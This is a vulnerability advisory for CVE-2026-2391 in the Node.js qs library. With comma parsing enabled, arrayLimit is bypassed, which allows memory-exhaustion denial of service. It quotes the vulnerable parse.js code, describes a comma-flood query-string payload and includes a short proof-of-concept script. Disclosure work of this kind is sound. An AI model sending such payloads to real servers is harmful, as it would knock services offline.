CVE-2026-2391

Severity CVSS v4.0:
MEDIUM
Type:
CWE-20 Input Validation
Publication date:
12/02/2026
Last modified:
12/02/2026

Description

### Summary<br /> The `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284).<br /> <br /> ### Details<br /> When the `comma` option is set to `true` (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., `?param=a,b,c` becomes `[&amp;#39;a&amp;#39;, &amp;#39;b&amp;#39;, &amp;#39;c&amp;#39;]`). However, the limit check for `arrayLimit` (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in `parseArrayValue`, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation.<br /> <br /> **Vulnerable code** (lib/parse.js: lines ~40-50):<br /> ```js<br /> if (val &amp;&amp; typeof val === &amp;#39;string&amp;#39; &amp;&amp; options.comma &amp;&amp; val.indexOf(&amp;#39;,&amp;#39;) &gt; -1) {<br />     return val.split(&amp;#39;,&amp;#39;);<br /> }<br /> <br /> if (options.throwOnLimitExceeded &amp;&amp; currentArrayLength &gt;= options.arrayLimit) {<br />     throw new RangeError(&amp;#39;Array limit exceeded. Only &amp;#39; + options.arrayLimit + &amp;#39; element&amp;#39; + (options.arrayLimit === 1 ? &amp;#39;&amp;#39; : &amp;#39;s&amp;#39;) + &amp;#39; allowed in an array.&amp;#39;);<br /> }<br /> <br /> return val;<br /> ```<br /> The `split(&amp;#39;,&amp;#39;)` returns the array immediately, skipping the subsequent limit check. Downstream merging via `utils.combine` does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., `?param=,,,,,,,,...`), allocating massive arrays in memory without triggering limits. It bypasses the intent of `arrayLimit`, which is enforced correctly for indexed (`a[0]=`) and bracket (`a[]=`) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p).<br /> <br /> ### PoC<br /> **Test 1 - Basic bypass:**<br /> ```<br /> npm install qs<br /> ```<br /> <br /> ```js<br /> const qs = require(&amp;#39;qs&amp;#39;);<br /> <br /> const payload = &amp;#39;a=&amp;#39; + &amp;#39;,&amp;#39;.repeat(25); // 26 elements after split (bypasses arrayLimit: 5)<br /> const options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };<br /> <br /> try {<br />   const result = qs.parse(payload, options);<br />   console.log(result.a.length); // Outputs: 26 (bypass successful)<br /> } catch (e) {<br />   console.log(&amp;#39;Limit enforced:&amp;#39;, e.message); // Not thrown<br /> }<br /> ```<br /> **Configuration:**<br /> - `comma: true`<br /> - `arrayLimit: 5`<br /> - `throwOnLimitExceeded: true`<br /> <br /> Expected: Throws "Array limit exceeded" error.<br /> Actual: Parses successfully, creating an array of length 26.<br /> <br /> <br /> ### Impact<br /> Denial of Service (DoS) via memory exhaustion.